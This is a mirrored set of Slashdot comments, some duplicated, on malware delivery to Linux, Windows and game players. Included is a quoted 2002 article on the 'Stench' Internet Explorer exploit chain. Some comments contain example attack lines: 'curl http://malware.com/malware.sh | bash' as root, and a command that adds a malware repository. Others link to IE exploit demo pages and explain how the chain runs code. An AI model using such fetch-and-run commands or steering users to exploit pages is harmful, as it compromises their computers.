Slashdot Mirror

The difference is that you don't type anything on the command line. The post I was responding to was basically claiming that Linux is more vulnerable because you need to type "sudo apt-get blah" to install a package, so then dumb users can be tricked into typing something like "sudo apt-add-repository http://malware.com/ && sudo apt-get install secret-malware". As (supposedly) opposed to OS X and Windows, where the GUI limits the actions of dumb users to only choosing preapproved software from a predefined repository. At least, that is how I interpreted it. The point I was making is that exactly the same package manager GUIs also exist under Linux, and have done for a very long time. Hence dumb users don't have to (and probably won't) use "sudo apt-get ...", they will use the GUI instead, so whatever vulnerabilities exist in this context are exactly the same as on the other operating systems. In fact, I'd go further and say it's worse on the other platforms, as the barrier for installing external software is lower - a "dumb" Linux user has to add an external repository and navigate a package manager, whereas a "dumb" Windows user just has to visit any random web site which will prompt them to download and run an executable file. (Obviously, I am speaking in generalisations, I understand there are PPAs, and that not all Windows users install software from random web sites etc.)

Isn't the point that the admin could use IE as a malware vector? For example, force the player's computer to open http://www.malware.com/ieexploit.html, which then uses one of the many IE bugs to install a trojan? This also applies to the MOTD feature. Because Mani is a server-side feature, you are forced to trust the admin not to do this.

Even if you can trust the admin (and trusting him not to crack your computer is not the same as trusting him not to cheat), you can't necessarily be sure that the server is secure. It might be cracked; the cracker might replace the MOTD with a redirect to a malware site. This has happened to big advertising networks. Keylogging used to be about credit card numbers, now it's about WoW usernames and passwords. Steam users have never been more at risk. Arbitrary web page rendering is an extremely ill-considered feature.

Well I know someone who's gonna have his machine throughly trashed by the first Linux oriented virus/trojan that he sees.

Don't worry--I'll remember not to type in:
curl http://malware.com/malware.sh | bash
while logged in as root.

For once, I have a real weapon against IE, and I'm not afraid to use it.

P.S. There's no way in hell I'm posting a link to my test page here, it just couldn't survive a slashdotting... but if you want to do it to, the script is pretty similar to the one posted on Malware, it's pretty easy to edit.

there are some real world demos for internet explorer constructed, switch off any popup blocking devices to see the effects

http://www.malware.com/punk.html
http://www.malware.com/targutted.html

there are some real world demos for internet explorer constructed, switch off any popup blocking devices to see the effects

http://www.malware.com/punk.html
http://www.malware.com/targutted.html

• 
  http://www.safecenter.net/UMBRELLAWEBV4/ie_unpatch ed/
• http://www.guninski.com/browsers.html
• http://www.malware.com

La la la la exploit, la la la la description of exploit, la la la la list of many other unpatched IE holes, some are over a year old. This one in particular is over 4 months old.

La la la la exploit, la la la la description of exploit, la la la la list of many other unpatched IE holes, some are over a year old. This one in particular is over 4 months old.

Naaa...he means this FUD for Thought:

Bug Triad Whacks Microsoft Browser

Researchers discover that three "low risk" bugs can combine to send a Windows system up in flames.

By Brian McWilliams, Sep 4 2002 9:25AM

To prove that no security bug is truly harmless, a security group has stitched together two minor flaws in Microsoft's Internet Explorer 6.0 browser with a small glitch in Windows Media Player to create one seriously powerful attack.

By coaxing IE users to view a Web page containing the special code, an attacker can silently force Windows 98, Windows 2000, or Windows XP users to run a malicious program of the attacker's choice.

The security group, Malware.com, has created a harmless demonstration micro shit of the flaw which downloads and runs an executable program that fills the victim's computer screen with flames.

A Malware.com member who uses the nickname "Http-equiv" says he named the vulnerability "Stench" to dramatize why it's dangerous for Microsoft to downplay and delay patching security bugs that it considers minor.

"Their patching tiny pinprick holes and not the overall problems, their mitigating factors, their ignoring small demonstrated flaws, all add up into a monster problem, which basically stinks," said Http-equiv in an e-mail interview Tuesday.

Internet Explorer currently contains at least 18 security bugs, many of them low-risk annoyances. Because it allows an attacker to run code on a victim's machine, Stench is the most serious security issue currently facing IE, according to Thor Larholm, a researcher with Pivx Solutions who tracks IE vulnerabilities.

Larholm said the information provided in the Malware.com advisory could easily be used to create a harmful exploit.

"Follow the steps and you're done. I could let my 12-year-old cousin do this," said Larholm, who added that because all three bugs have been known to Microsoft for many months, Malware.com's release of the information was "by the book" and does not constitute what Microsoft calls "irresponsible disclosure."

A Microsoft representative said the company was currently studying the report and would take appropriate action.

Company Patchwork Faulted According to Http-equiv, the exploit depends in part on a known quirk in how Microsoft's media player handles self-extracting Windows Media Download (WMD) files.

"If we can place our 'goodies' inside the .wmd file and have the player unpack it, we now have arbitrary code on the target computer," said Http-equiv.

Using a year-old IE bug known as the "codebase local path" vulnerability -- a bug that was only partially fixed by Microsoft last March -- the Stench exploit is able to unpack and execute the malicious code without triggering IE's security settings, he said.

According to Larholm, a major update to Internet Explorer known as IE6 Service Pack One could include fixes for numerous bugs, including those exploited by Stench. Microsoft quietly released SP1 to its download servers in late August but removed the upgrade shortly afterwards without explanation.

On August 22, Microsoft issued a cumulative patch for IE that addressed several severe bugs did not include complete fixes for the codebase localpath and numerous other vulnerabilities, Larholm said.

Malware.com's Stench advisory, posted to security mailing lists on August 21, concluded with the following statement: "Instead of sitting around trying to thinking up ways that all these things cannot work, simply fix it the first time round. There is no such thing as 'mitigating factors' and 'hurdles'. This is a lie. Pure fantasy. Fiction. Fix it when you can! For every way you think it cannot be done, there are 10 ways it actually can!"

Yep this site specialises in just that
Here

also George Guninski does some research here
Here

and Mr Malware
Here